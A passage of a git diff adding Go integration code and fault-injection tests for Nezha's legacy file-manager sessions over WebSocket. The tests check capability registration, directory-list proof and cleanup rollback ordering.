observed.AbsentStreamID) + }) + } +} diff --git a/integration/agentcompat/internal/scenario/held_legacy_fm.go b/integration/agentcompat/internal/scenario/held_legacy_fm.go new file mode 100644 index 00000000..a94a7913 --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_legacy_fm.go @@ -0,0 +1,233 @@ +//go:build linux + +package scenario + +import ( + "context" + "errors" + "fmt" + "os" + "path/filepath" + "regexp" + "strings" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/agent" + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" + "github.com/nezhahq/nezha/integration/agentcompat/internal/dashboard" + "github.com/nezhahq/nezha/integration/agentcompat/internal/fixture" +) + +const ( + heldLegacyFMCleanupTimeout = 10 * time.Second + heldLegacyFMPumpCapacity = 8 +) + +var ( + ErrInvalidHeldLegacyFMInput = errors.New("held legacy FM input is invalid") + ErrHeldLegacyFMProtocol = errors.New("held legacy FM protocol proof failed") + heldLegacyFMRootName = regexp.MustCompile(`[^a-z0-9]+`) +) + +type heldLegacyFMInput struct { + Dashboard *dashboard.Dashboard + PATClient *client.Client + Agent *agent.Agent + Readiness agent.Readiness + Plan StressSessionPlan + LifetimeContext context.Context +} + +type heldLegacyFMSession struct { + lifecycle *heldSessionLifecycle + stack *heldCleanupStack + connection heldLegacyFMConnection + pump heldLegacyFMPump + protocol bool +} + +func newHeldLegacyFMSession(ctx context.Context, input heldLegacyFMInput) (*heldLegacyFMSession, error) { + return newHeldLegacyFMSessionWithDependencies(ctx, input, defaultHeldLegacyFMDependencies()) +} + +func newHeldLegacyFMSessionWithDependencies(ctx context.Context, input heldLegacyFMInput, dependencies heldLegacyFMDependencies) (*heldLegacyFMSession, error) { + if err := validateHeldLegacyFMInput(ctx, input); err != nil { + return nil, err + } + if err := validateHeldPATClient(input.PATClient); err != nil { + return nil, err + } + if err := validateHeldReadiness(input.Agent, input.Readiness); err != nil { + return nil, err + } + stateClient := input.PATClient + baseline, err := dependencies.SnapshotState(ctx, stateClient) + if err != nil { + return nil, fmt.Errorf("snapshot FM IOStream state: %w", err) + } + rootName := heldLegacyFMRootName.ReplaceAllString(strings.ToLower(input.Plan.ID.String()), "-") + rootName = strings.Trim(rootName, "-") + if rootName == "" { + return nil, ErrInvalidHeldLegacyFMInput + } + root, err := fixture.NewAgentRoot(input.Agent.WorkspaceRoot(), "held-fm-"+rootName) + if err != nil { + return nil, fmt.Errorf("create held FM fixture root: %w", err) + } + stack := newHeldCleanupStack() + if err := stack.Push(heldCleanupAction{name: "remove FM fixture root", cleanup: func(cleanupContext context.Context) error { + return dependencies.RemoveFixture(cleanupContext, input.Agent.WorkspaceRoot(), root.Absolute()) + }}); err != nil { + return nil, rollbackHeldLegacyFM(ctx, stack, err) + } + listDirectory, err := root.Path("list") + if err != nil { + return nil, rollbackHeldLegacyFM(ctx, stack, err) + } + if err := os.Mkdir(listDirectory.String(), 0o700); err != nil { + return nil, rollbackHeldLegacyFM(ctx, stack, err) + } + if err := os.WriteFile(filepath.Join(listDirectory.String(), "entry.txt"), []byte("entry"), 0o600); err != nil { + return nil, rollbackHeldLegacyFM(ctx, stack, err) + } + capability, err := dependencies.Register(ctx, input.PATClient, heldIOStreamCapabilityIdentity{Purpose: client.IOStreamCapabilityPurposeFileManager, ServerID: input.Readiness.ServerID}) + if err != nil { + return nil, rollbackHeldLegacyFM(ctx, stack, err) + } + if err := pushHeldLegacyFMCapabilityCleanup(stack, heldLegacyFMCapabilityCleanup{ + Unregister: capability.Unregister, + Absence: func(cleanupContext context.Context) error { + return dependencies.WaitForState(cleanupContext, stateClient, baseline, capability, true) + }, + Cancel: capability.Cancel, + }); err != nil { + return nil, rollbackHeldLegacyFM(ctx, stack, err) + } + sessionID, err := dependencies.CreateSession(ctx, input.PATClient, input.Readiness.ServerID, capability.HeaderCapability()) + if err != nil { + _, waitErr := capability.Wait(ctx) + return nil, rollbackHeldLegacyFM(ctx, stack, errors.Join(err, waitErr)) + } + streamID, waitErr := capability.Wait(ctx) + if waitErr != nil || streamID != sessionID { + mismatchErr := error(nil) + if waitErr == nil { + mismatchErr = heldLegacyFMStreamMismatchError() + } + return nil, rollbackHeldLegacyFM(ctx, stack, errors.Join(waitErr, mismatchErr)) + } + lifetimeContext := input.LifetimeContext + if lifetimeContext == nil { + lifetimeContext = ctx + } + lifecycle, err := newHeldSessionLifecycle(lifetimeContext, input.Plan, sessionID, heldLegacyFMCleanupTimeout) + if err != nil { + return nil, rollbackHeldLegacyFM(ctx, stack, err) + } + connection, err := dependencies.DialWebSocket(ctx, input.PATClient, "/api/v1/ws/file/"+sessionID) + if err != nil { + return nil, rollbackHeldLegacyFM(ctx, stack, err) + } + if err := stack.Push(heldCleanupAction{name: "close FM WebSocket", cleanup: func(context.Context) error { return connection.Close() }}); err != nil { + return nil, rollbackHeldLegacyFM(ctx, stack, err) + } + pump, err := dependencies.NewPump(lifetimeContext, connection, heldLegacyFMPumpCapacity) + if err != nil { + return nil, rollbackHeldLegacyFM(ctx, stack, err) + } + if err := stack.Push(heldCleanupAction{name: "stop FM WebSocket pump", cleanup: pump.Stop}); err != nil { + return nil, rollbackHeldLegacyFM(ctx, stack, err) + } + dispatcher := legacyFMCommandDispatcher{writer: connection, root: root} + if err := dispatcher.list(ctx, "list"); err != nil { + return nil, rollbackHeldLegacyFM(ctx, stack, err) + } + if err := proveHeldLegacyFMList(ctx, pump, listDirectory.String()); err != nil { + return nil, rollbackHeldLegacyFM(ctx, stack, err) + } + if err := dependencies.WaitForState(ctx, stateClient, baseline, capability, false); err != nil { + return nil, rollbackHeldLegacyFM(ctx, stack, err) + } + if err := lifecycle.markLive(nil); err != nil { + return nil, rollbackHeldLegacyFM(ctx, stack, err) + } + return &heldLegacyFMSession{lifecycle: lifecycle, stack: stack, connection: connection, pump: pump, protocol: true}, nil +} + +func heldLegacyFMStreamMismatchError() error { + return fmt.Errorf("FM stream identity mismatch: %w", ErrHeldLegacyFMProtocol) +} + +func validateHeldLegacyFMInput(ctx context.Context, input heldLegacyFMInput) error { + if ctx == nil || input.Dashboard == nil || input.Agent == nil || input.Plan.Kind != StressSessionFM || input.Plan.ID.String() == "" || input.Plan.Ordinal < 1 || input.Plan.Agent.Int() < 1 { + return ErrInvalidHeldLegacyFMInput + } + if err := validateHeldPATClient(input.PATClient); err != nil { + return err + } + return nil +} + +func proveHeldLegacyFMList(ctx context.Context, pump heldLegacyFMPump, wantPath string) error { + select { + case frame, ok := <-pump.Events(): + if !ok { + return errors.Join(pump.Err(), ErrHeldLegacyFMProtocol) + } + if frame.Type != client.FrameBinary { + return fmt.Errorf("FM list response frame type=%s: %w", frame.Type, ErrHeldLegacyFMProtocol) + } + parsed, err := parseLegacyFMList(frame.Payload) + if err != nil { + return err + } + if parsed.Path != wantPath || len(parsed.Entries) != 1 || parsed.Entries[0].Name != "entry.txt" || parsed.Entries[0].Dir { + return ErrHeldLegacyFMProtocol + } + return nil + case <-pump.Done(): + return errors.Join(pump.Err(), ErrHeldLegacyFMProtocol) + case <-ctx.Done(): + return ctx.Err() + } +} + +func rollbackHeldLegacyFM(ctx context.Context, stack *heldCleanupStack, original error) error { + rollbackContext, cancel := context.WithTimeout(context.WithoutCancel(ctx), heldLegacyFMCleanupTimeout) + defer cancel() + return errors.Join(original, stack.Run(rollbackContext)) +} + +func (session *heldLegacyFMSession) Plan() StressSessionPlan { return session.lifecycle.Plan() } +func (session *heldLegacyFMSession) WaitLive(ctx context.Context) error { + return session.lifecycle.WaitLive(ctx) +} +func (session *heldLegacyFMSession) IOStreamID() (string, bool) { + return session.lifecycle.IOStreamID() +} +func (session *heldLegacyFMSession) ProtocolProved() bool { return session.protocol } +func (session *heldLegacyFMSession) WaitClosed(ctx context.Context) error { + return session.lifecycle.WaitClosed(ctx) +} + +func (session *heldLegacyFMSession) Done() <-chan struct{} { return session.lifecycle.Done() } +func (session *heldLegacyFMSession) CloseResult() error { return session.lifecycle.CloseResult() } + +func (session *heldLegacyFMSession) Close(ctx context.Context) error { + owner, won := session.lifecycle.beginClose() + if !won { + return session.lifecycle.WaitClosed(ctx) + } + go func() { + cleanupContext, cancel := owner.cleanupContext() + cleanupErr := session.stack.Run(cleanupContext) + if cleanupContext.Err() != nil { + cleanupErr = errors.Join(cleanupErr, cleanupContext.Err()) + } + cancel() + owner.markClosed(cleanupErr) + }() + return session.lifecycle.WaitClosed(ctx) +} + +var _ heldSession = (*heldLegacyFMSession)(nil) diff --git a/integration/agentcompat/internal/scenario/held_legacy_fm_cleanup.go b/integration/agentcompat/internal/scenario/held_legacy_fm_cleanup.go new file mode 100644 index 00000000..0421ad92 --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_legacy_fm_cleanup.go @@ -0,0 +1,21 @@ +//go:build linux + +package scenario + +import "context" + +type heldLegacyFMCapabilityCleanup struct { + Unregister func(context.Context) error + Absence func(context.Context) error + Cancel func(context.Context) error +} + +func pushHeldLegacyFMCapabilityCleanup(stack *heldCleanupStack, cleanup heldLegacyFMCapabilityCleanup) error { + if err := stack.Push(heldCleanupAction{name: "unregister FM capability", cleanup: cleanup.Unregister}); err != nil { + return err + } + if err := stack.Push(heldCleanupAction{name: "restore FM IOStream baseline and absence", cleanup: cleanup.Absence}); err != nil { + return err + } + return stack.Push(heldCleanupAction{name: "cancel FM capability", cleanup: cleanup.Cancel}) +} diff --git a/integration/agentcompat/internal/scenario/held_legacy_fm_constructor_fault_test.go b/integration/agentcompat/internal/scenario/held_legacy_fm_constructor_fault_test.go new file mode 100644 index 00000000..e2a3b773 --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_legacy_fm_constructor_fault_test.go @@ -0,0 +1,204 @@ +//go:build linux + +package scenario + +import ( + "context" + "errors" + "path/filepath" + "testing" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" + "github.com/nezhahq/nezha/integration/agentcompat/internal/dashboard" +) + +type heldLegacyFMConstructorFault struct { + name string + failStage string + wantError error +} + +type heldLegacyFMConstructorObservation struct { + order []string + expectation client.IOStreamStateExpectation +} + +func TestNewHeldLegacyFMSessionConstructorFaultsRollbackInLIFOOrder(t *testing.T) { + tests := []heldLegacyFMConstructorFault{ + {name: "create response", failStage: "create", wantError: errHeldLegacyFMConstructorCreate}, + {name: "capability wait", failStage: "wait", wantError: errHeldLegacyFMConstructorWait}, + {name: "response and wait mismatch", failStage: "mismatch", wantError: ErrHeldLegacyFMProtocol}, + {name: "WebSocket dial", failStage: "dial", wantError: errHeldLegacyFMConstructorDial}, + {name: "pump setup", failStage: "pump", wantError: errHeldLegacyFMConstructorPump}, + {name: "list proof", failStage: "proof", wantError: errLegacyFMRemote}, + } + for _, testCase := range tests { + t.Run(testCase.name, func(t *testing.T) { + input := heldLegacyFMConstructorInput(t) + observation := &heldLegacyFMConstructorObservation{} + dependencies := heldLegacyFMConstructorDependencies(input, observation, testCase.failStage) + + _, err := newHeldLegacyFMSessionWithDependencies(context.Background(), input, dependencies) + + require.ErrorIs(t, err, testCase.wantError) + for _, cleanupError := range []error{errHeldLegacyFMConstructorCancel, errHeldLegacyFMConstructorAbsence, errHeldLegacyFMConstructorUnregister, errHeldLegacyFMConstructorFixture} { + require.ErrorIs(t, err, cleanupError) + } + wantOrder := []string{"cancel", "absence", "unregister", "fixture"} + if testCase.failStage == "pump" { + wantOrder = []string{"close", "cancel", "absence", "unregister", "fixture"} + require.ErrorIs(t, err, errHeldLegacyFMConstructorClose) + } + if testCase.failStage == "proof" { + wantOrder = []string{"pump", "close", "cancel", "absence", "unregister", "fixture"} + require.ErrorIs(t, err, errHeldLegacyFMConstructorPumpStop) + require.ErrorIs(t, err, errHeldLegacyFMConstructorClose) + } + require.Equal(t, wantOrder, observation.order) + require.Nil(t, observation.expectation.ExpectedCount) + expectedAbsent := "stream-legacy-fm" + if testCase.failStage == "mismatch" { + expectedAbsent = "different-stream" + } + require.Equal(t, expectedAbsent, observation.expectation.AbsentStreamID) + }) + } +} + +var ( + errHeldLegacyFMConstructorCreate = errors.New("held FM constructor create failed") + errHeldLegacyFMConstructorWait = errors.New("held FM constructor wait failed") + errHeldLegacyFMConstructorDial = errors.New("held FM constructor dial failed") + errHeldLegacyFMConstructorPump = errors.New("held FM constructor pump failed") + errHeldLegacyFMConstructorClose = errors.New("held FM constructor close cleanup failed") + errHeldLegacyFMConstructorPumpStop = errors.New("held FM constructor pump stop cleanup failed") + errHeldLegacyFMConstructorCancel = errors.New("held FM constructor cancel cleanup failed") + errHeldLegacyFMConstructorAbsence = errors.New("held FM constructor absence cleanup failed") + errHeldLegacyFMConstructorUnregister = errors.New("held FM constructor unregister cleanup failed") + errHeldLegacyFMConstructorFixture = errors.New("held FM constructor fixture cleanup failed") +) + +type heldLegacyFMConstructorConnection struct { + order *[]string +} + +func (connection *heldLegacyFMConstructorConnection) WriteFrame(context.Context, client.Frame) error { + return nil +} + +func (connection *heldLegacyFMConstructorConnection) Close() error { + *connection.order = append(*connection.order, "close") + return errHeldLegacyFMConstructorClose +} + +type heldLegacyFMConstructorPump struct { + events chan client.Frame + order *[]string +} + +func (pump *heldLegacyFMConstructorPump) Events() <-chan client.Frame { return pump.events } +func (pump *heldLegacyFMConstructorPump) Done() <-chan struct{} { return make(chan struct{}) } +func (pump *heldLegacyFMConstructorPump) Err() error { return nil } +func (pump *heldLegacyFMConstructorPump) Stop(context.Context) error { + *pump.order = append(*pump.order, "pump") + return errHeldLegacyFMConstructorPumpStop +} + +type heldLegacyFMConstructorCapability struct { + observation *heldLegacyFMConstructorObservation + streamID string + waitErr error +} + +func (capability *heldLegacyFMConstructorCapability) HeaderCapability() client.IOStreamCapability { + parsed, _ := client.ParseIOStreamCapability("AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8") + return parsed +} + +func (capability *heldLegacyFMConstructorCapability) Wait(context.Context) (string, error) { + return capability.streamID, capability.waitErr +} + +func (capability *heldLegacyFMConstructorCapability) Cancel(context.Context) error { + capability.observation.order = append(capability.observation.order, "cancel") + return errHeldLegacyFMConstructorCancel +} + +func (capability *heldLegacyFMConstructorCapability) Unregister(context.Context) error { + capability.observation.order = append(capability.observation.order, "unregister") + return errHeldLegacyFMConstructorUnregister +} + +func (capability *heldLegacyFMConstructorCapability) WaitExpectation(_ context.Context, _ *client.Client, _ client.IOStreamState, absent bool) error { + if absent { + capability.observation.order = append(capability.observation.order, "absence") + capability.observation.expectation = client.IOStreamStateExpectation{AbsentStreamID: capability.streamID} + } + return errHeldLegacyFMConstructorAbsence +} + +func heldLegacyFMConstructorDependencies(input heldLegacyFMInput, observation *heldLegacyFMConstructorObservation, failStage string) heldLegacyFMDependencies { + listPath := filepath.Join(input.Agent.WorkspaceRoot(), "held-fm-"+input.Plan.ID.String(), "list") + defaultDependencies := defaultHeldLegacyFMDependencies() + return heldLegacyFMDependencies{ + RemoveFixture: func(ctx context.Context, workspaceRoot, fixtureRoot string) error { + observation.order = append(observation.order, "fixture") + _ = defaultDependencies.RemoveFixture(ctx, workspaceRoot, fixtureRoot) + return errHeldLegacyFMConstructorFixture + }, + SnapshotState: func(context.Context, *client.Client) (client.IOStreamState, error) { + return client.IOStreamState{Count: 4}, nil + }, + Register: func(context.Context, *client.Client, heldIOStreamCapabilityIdentity) (heldLegacyFMCapabilityHandle, error) { + capability := &heldLegacyFMConstructorCapability{observation: observation, streamID: "stream-legacy-fm"} + if failStage == "wait" { + capability.waitErr = errHeldLegacyFMConstructorWait + } + if failStage == "mismatch" { + capability.streamID = "different-stream" + } + return capability, nil + }, + CreateSession: func(context.Context, *client.Client, uint64, client.IOStreamCapability) (string, error) { + if failStage == "create" { + return "", errHeldLegacyFMConstructorCreate + } + return "stream-legacy-fm", nil + }, + DialWebSocket: func(context.Context, *client.Client, string) (heldLegacyFMConnection, error) { + if failStage == "dial" { + return nil, errHeldLegacyFMConstructorDial + } + return &heldLegacyFMConstructorConnection{order: &observation.order}, nil + }, + NewPump: func(context.Context, heldLegacyFMConnection, int) (heldLegacyFMPump, error) { + if failStage == "pump" { + return nil, errHeldLegacyFMConstructorPump + } + frame := heldLegacyFMListFrame(listPath, "entry.txt", false) + if failStage == "proof" { + frame = []byte("NERRdenied") + } + events := make(chan client.Frame, 1) + events <- client.Frame{Type: client.FrameBinary, Payload: frame} + return &heldLegacyFMConstructorPump{events: events, order: &observation.order}, nil + }, + WaitForState: func(ctx context.Context, stateClient *client.Client, baseline client.IOStreamState, capability heldLegacyFMCapabilityHandle, absent bool) error { + return capability.WaitExpectation(ctx, stateClient, baseline, absent) + }, + } +} + +func heldLegacyFMConstructorInput(t *testing.T) heldLegacyFMInput { + t.Helper() + agentInstance := newHeldReadinessTestAgent(t, "00000000-0000-0000-0000-000000000501") + return heldLegacyFMInput{ + Dashboard: &dashboard.Dashboard{}, + PATClient: &client.Client{}, + Agent: agentInstance, + Readiness: completeHeldReadiness(agentInstance.UUID()), + Plan: heldFMTestPlan(t, StressSessionFM), + } +} diff --git a/integration/agentcompat/internal/scenario/held_legacy_fm_dependencies.go b/integration/agentcompat/internal/scenario/held_legacy_fm_dependencies.go new file mode 100644 index 00000000..d97a94fd --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_legacy_fm_dependencies.go @@ -0,0 +1,84 @@ +//go:build linux + +package scenario + +import ( + "context" + "errors" + "os" + "path/filepath" + "strings" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" +) + +type heldLegacyFMConnection interface { + legacyFMFrameWriter + Close() error +} + +type heldLegacyFMPump interface { + Events() <-chan client.Frame + Done() <-chan struct{} + Err() error + Stop(context.Context) error +} + +type heldLegacyFMCapabilityHandle interface { + HeaderCapability() client.IOStreamCapability + Wait(context.Context) (string, error) + Cancel(context.Context) error + Unregister(context.Context) error + WaitExpectation(context.Context, *client.Client, client.IOStreamState, bool) error +} + +type heldLegacyFMDependencies struct { + SnapshotState func(context.Context, *client.Client) (client.IOStreamState, error) + Register func(context.Context, *client.Client, heldIOStreamCapabilityIdentity) (heldLegacyFMCapabilityHandle, error) + CreateSession func(context.Context, *client.Client, uint64, client.IOStreamCapability) (string, error) + DialWebSocket func(context.Context, *client.Client, string) (heldLegacyFMConnection, error) + NewPump func(context.Context, heldLegacyFMConnection, int) (heldLegacyFMPump, error) + WaitForState func(context.Context, *client.Client, client.IOStreamState, heldLegacyFMCapabilityHandle, bool) error + RemoveFixture func(context.Context, string, string) error +} + +func defaultHeldLegacyFMDependencies() heldLegacyFMDependencies { + return heldLegacyFMDependencies{ + SnapshotState: func(ctx context.Context, transport *client.Client) (client.IOStreamState, error) { + return transport.IOStreamState(ctx) + }, + Register: func(ctx context.Context, transport *client.Client, identity heldIOStreamCapabilityIdentity) (heldLegacyFMCapabilityHandle, error) { + return registerHeldIOStreamCapability(ctx, transport, identity) + }, + CreateSession: func(ctx context.Context, transport *client.Client, serverID uint64, capability client.IOStreamCapability) (string, error) { + return createLegacyFMSession(ctx, transport, serverID, capability) + }, + DialWebSocket: func(ctx context.Context, transport *client.Client, path string) (heldLegacyFMConnection, error) { + return transport.DialWebSocket(ctx, path) + }, + NewPump: func(ctx context.Context, connection heldLegacyFMConnection, capacity int) (heldLegacyFMPump, error) { + concrete, ok := connection.(*client.WebSocketConnection) + if !ok { + return nil, ErrInvalidHeldFramePump + } + return newHeldWebSocketPump(ctx, concrete, capacity) + }, + WaitForState: func(ctx context.Context, transport *client.Client, baseline client.IOStreamState, capability heldLegacyFMCapabilityHandle, absent bool) error { + return capability.WaitExpectation(ctx, transport, baseline, absent) + }, + RemoveFixture: removeHeldLegacyFMFixture, + } +} + +func removeHeldLegacyFMFixture(ctx context.Context, workspaceRoot, fixtureRoot string) error { + if err := ctx.Err(); err != nil { + return err + } + cleanWorkspace := filepath.Clean(workspaceRoot) + cleanFixture := filepath.Clean(fixtureRoot) + relative, err := filepath.Rel(cleanWorkspace, cleanFixture) + if err != nil || filepath.IsAbs(relative) || relative == "." || relative == ".." || strings.HasPrefix(relative, ".."+string(filepath.Separator)) { + return errors.New("FM fixture root escaped Agent workspace") + } + return os.RemoveAll(cleanFixture) +} diff --git a/integration/agentcompat/internal/scenario/held_legacy_fm_response_loss_test.go b/integration/agentcompat/internal/scenario/held_legacy_fm_response_loss_test.go new file mode 100644 index 00000000..b3eb96d8 --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_legacy_fm_response_loss_test.go @@ -0,0 +1,160 @@ +//go:build linux + +package scenario + +import ( + "context" + "errors" + "testing" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" + "github.com/nezhahq/nezha/integration/agentcompat/internal/dashboard" +) + +var ( + errHeldLegacyFMCreateRejected = errors.New("held FM create rejected") + errHeldLegacyFMResponseLost = errors.New("held FM response lost") + errHeldLegacyFMCapabilityWaitLost = errors.New("held FM capability wait lost") +) + +type heldLegacyFMResponseLossCase struct { + name string + createError error + waitStreamID string + waitError error + wantAbsentStream string + wantCreateError error + wantWaitError error +} + +func TestNewHeldLegacyFMSessionRecoversCreateResponseLossForExactCleanup(t *testing.T) { + tests := []heldLegacyFMResponseLossCase{ + { + name: "ordinary rejection", + createError: errHeldLegacyFMCreateRejected, + waitError: client.ErrIOStreamCapabilityUnavailable, + wantCreateError: errHeldLegacyFMCreateRejected, + }, + { + name: "response loss after stream creation", + createError: errHeldLegacyFMResponseLost, + waitStreamID: "stream-response-lost", + wantAbsentStream: "stream-response-lost", + wantCreateError: errHeldLegacyFMResponseLost, + }, + { + name: "create and capability wait failure", + createError: errHeldLegacyFMResponseLost, + waitError: errHeldLegacyFMCapabilityWaitLost, + wantCreateError: errHeldLegacyFMResponseLost, + wantWaitError: errHeldLegacyFMCapabilityWaitLost, + }, + } + for _, testCase := range tests { + t.Run(testCase.name, func(t *testing.T) { + input := heldLegacyFMResponseLossInput(t) + fixture := newHeldLegacyFMResponseLossFixture(testCase) + dependencies := heldLegacyFMResponseLossDependencies(input, fixture) + + _, err := newHeldLegacyFMSessionWithDependencies(context.Background(), input, dependencies) + + require.ErrorIs(t, err, testCase.wantCreateError) + if testCase.wantWaitError != nil { + require.ErrorIs(t, err, testCase.wantWaitError) + } + require.Equal(t, 1, fixture.waitCalls) + require.Equal(t, testCase.wantAbsentStream, fixture.absenceExpectation.AbsentStreamID) + require.Nil(t, fixture.absenceExpectation.ExpectedCount) + require.Equal(t, []string{"cancel", "absence", "unregister", "fixture"}, fixture.order) + }) + } +} + +type heldLegacyFMResponseLossFixture struct { + caseData heldLegacyFMResponseLossCase + order []string + waitCalls int + absenceExpectation client.IOStreamStateExpectation +} + +func newHeldLegacyFMResponseLossFixture(caseData heldLegacyFMResponseLossCase) *heldLegacyFMResponseLossFixture { + return &heldLegacyFMResponseLossFixture{caseData: caseData} +} + +type heldLegacyFMResponseLossCapability struct { + fixture *heldLegacyFMResponseLossFixture + waitOnce bool + streamID string + waitErr error +} + +func (capability *heldLegacyFMResponseLossCapability) HeaderCapability() client.IOStreamCapability { + parsed, _ := client.ParseIOStreamCapability("AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8") + return parsed +} + +func (capability *heldLegacyFMResponseLossCapability) Wait(context.Context) (string, error) { + if capability.waitOnce { + return capability.streamID, capability.waitErr + } + capability.waitOnce = true + capability.fixture.waitCalls++ + capability.streamID = capability.fixture.caseData.waitStreamID + capability.waitErr = capability.fixture.caseData.waitError + return capability.streamID, capability.waitErr +} + +func (capability *heldLegacyFMResponseLossCapability) Cancel(context.Context) error { + capability.fixture.order = append(capability.fixture.order, "cancel") + return nil +} + +func (capability *heldLegacyFMResponseLossCapability) Unregister(context.Context) error { + capability.fixture.order = append(capability.fixture.order, "unregister") + return nil +} + +func (capability *heldLegacyFMResponseLossCapability) WaitExpectation(_ context.Context, _ *client.Client, _ client.IOStreamState, absent bool) error { + if absent { + capability.fixture.order = append(capability.fixture.order, "absence") + streamID := capability.streamID + capability.fixture.absenceExpectation = client.IOStreamStateExpectation{AbsentStreamID: streamID} + } + return nil +} + +func heldLegacyFMResponseLossDependencies(input heldLegacyFMInput, fixture *heldLegacyFMResponseLossFixture) heldLegacyFMDependencies { + defaults := defaultHeldLegacyFMDependencies() + return heldLegacyFMDependencies{ + SnapshotState: func(context.Context, *client.Client) (client.IOStreamState, error) { + return client.IOStreamState{Count: 7}, nil + }, + Register: func(context.Context, *client.Client, heldIOStreamCapabilityIdentity) (heldLegacyFMCapabilityHandle, error) { + return &heldLegacyFMResponseLossCapability{fixture: fixture}, nil + }, + CreateSession: func(context.Context, *client.Client, uint64, client.IOStreamCapability) (string, error) { + return "", fixture.caseData.createError + }, + WaitForState: func(ctx context.Context, stateClient *client.Client, baseline client.IOStreamState, capability heldLegacyFMCapabilityHandle, absent bool) error { + return capability.WaitExpectation(ctx, stateClient, baseline, absent) + }, + RemoveFixture: func(ctx context.Context, workspaceRoot, fixtureRoot string) error { + fixture.order = append(fixture.order, "fixture") + return defaults.RemoveFixture(ctx, workspaceRoot, fixtureRoot) + }, + } +} + +func heldLegacyFMResponseLossInput(t *testing.T) heldLegacyFMInput { + t.Helper() + agentInstance := newHeldReadinessTestAgent(t, "00000000-0000-0000-0000-000000000601") + return heldLegacyFMInput{ + Dashboard: &dashboard.Dashboard{}, + PATClient: &client.Client{}, + Agent: agentInstance, + Readiness: completeHeldReadiness(agentInstance.UUID()), + Plan: heldFMTestPlan(t, StressSessionFM), + } +} diff --git a/integration/agentcompat/internal/scenario/held_legacy_fm_test.go b/integration/agentcompat/internal/scenario/held_legacy_fm_test.go new file mode 100644 index 00000000..ad8f64a2 --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_legacy_fm_test.go @@ -0,0 +1,254 @@ +//go:build linux + +package scenario + +import ( + "context" + "encoding/binary" + "os" + "path/filepath" + "testing" + "time" + + "github.com/gorilla/websocket" + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/agent" + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" + "github.com/nezhahq/nezha/integration/agentcompat/internal/dashboard" +) + +func TestNewHeldLegacyFMSessionRejectsInvalidTypedInputs(t *testing.T) { + // Given + plan := heldFMTestPlan(t, StressSessionFM) + agentInstance := newHeldReadinessTestAgent(t, "00000000-0000-0000-0000-000000000305") + readiness := completeHeldReadiness(agentInstance.UUID()) + valid := heldLegacyFMInput{Dashboard: &dashboard.Dashboard{}, PATClient: &client.Client{}, Agent: agentInstance, Readiness: readiness, Plan: plan} + cases := []struct { + name string + input heldLegacyFMInput + }{ + {name: "nil dashboard", input: heldLegacyFMInput{Agent: valid.Agent, Readiness: readiness, Plan: plan}}, + {name: "nil agent", input: heldLegacyFMInput{Dashboard: valid.Dashboard, Readiness: readiness, Plan: plan}}, + } + for _, testCase := range cases { + t.Run(testCase.name, func(t *testing.T) { + // When + _, err := newHeldLegacyFMSession(context.Background(), testCase.input) + + // Then + require.ErrorIs(t, err, ErrInvalidHeldLegacyFMInput) + }) + } +} + +func TestNewHeldLegacyFMSessionReturnsPreciseReadinessErrorForZeroServerID(t *testing.T) { + agentInstance := newHeldReadinessTestAgent(t, "00000000-0000-0000-0000-000000000306") + input := heldLegacyFMInput{Dashboard: &dashboard.Dashboard{}, PATClient: &client.Client{}, Agent: agentInstance, Readiness: completeHeldReadiness(agentInstance.UUID()), Plan: heldFMTestPlan(t, StressSessionFM)} + input.Readiness.ServerID = 0 + + _, err := newHeldLegacyFMSession(context.Background(), input) + + require.ErrorIs(t, err, ErrHeldReadinessServerID) + require.NotErrorIs(t, err, ErrInvalidHeldLegacyFMInput) +} + +func TestNewHeldLegacyFMSessionReturnsPreciseReadinessErrorForUUIDMismatch(t *testing.T) { + agentInstance := newHeldReadinessTestAgent(t, "00000000-0000-0000-0000-000000000307") + input := heldLegacyFMInput{Dashboard: &dashboard.Dashboard{}, PATClient: &client.Client{}, Agent: agentInstance, Readiness: completeHeldReadiness("00000000-0000-0000-0000-000000000308"), Plan: heldFMTestPlan(t, StressSessionFM)} + + _, err := newHeldLegacyFMSession(context.Background(), input) + + require.ErrorIs(t, err, ErrHeldReadinessAgentMismatch) + require.NotErrorIs(t, err, ErrInvalidHeldLegacyFMInput) +} + +func TestHeldLegacyFMSessionImplementsHeldSession(t *testing.T) { + var _ heldSession = (*heldLegacyFMSession)(nil) +} + +func TestNewHeldLegacyFMSessionRejectsNilContext(t *testing.T) { + // Given + input := heldLegacyFMInput{ + Dashboard: &dashboard.Dashboard{}, PATClient: &client.Client{}, Agent: &agent.Agent{}, + Readiness: agent.Readiness{ServerID: 9, UUID: "agent-uuid", Online: true}, Plan: heldFMTestPlan(t, StressSessionFM), + } + + // When + _, err := newHeldLegacyFMSession(nil, input) + + // Then + require.ErrorIs(t, err, ErrInvalidHeldLegacyFMInput) +} + +func TestNewHeldLegacyFMSessionRejectsNilPATBeforeMutation(t *testing.T) { + // Given + agentInstance := newHeldReadinessTestAgent(t, "00000000-0000-0000-0000-000000000303") + input := heldLegacyFMInput{ + Dashboard: &dashboard.Dashboard{}, + PATClient: nil, + Agent: agentInstance, + Readiness: completeHeldReadiness(agentInstance.UUID()), + Plan: heldFMTestPlan(t, StressSessionFM), + } + workspaceRoot := agentInstance.WorkspaceRoot() + before, err := os.ReadDir(workspaceRoot) + require.NoError(t, err) + + // When + var recovered any + func() { + defer func() { recovered = recover() }() + _, err = newHeldLegacyFMSession(context.Background(), input) + }() + + // Then + require.Nil(t, recovered) + require.ErrorIs(t, err, ErrInvalidHeldPATClient) + after, readErr := os.ReadDir(workspaceRoot) + require.NoError(t, readErr) + require.Equal(t, before, after) + _, statErr := os.Stat(filepath.Join(workspaceRoot, "held-fm-held-fm-session")) + require.ErrorIs(t, 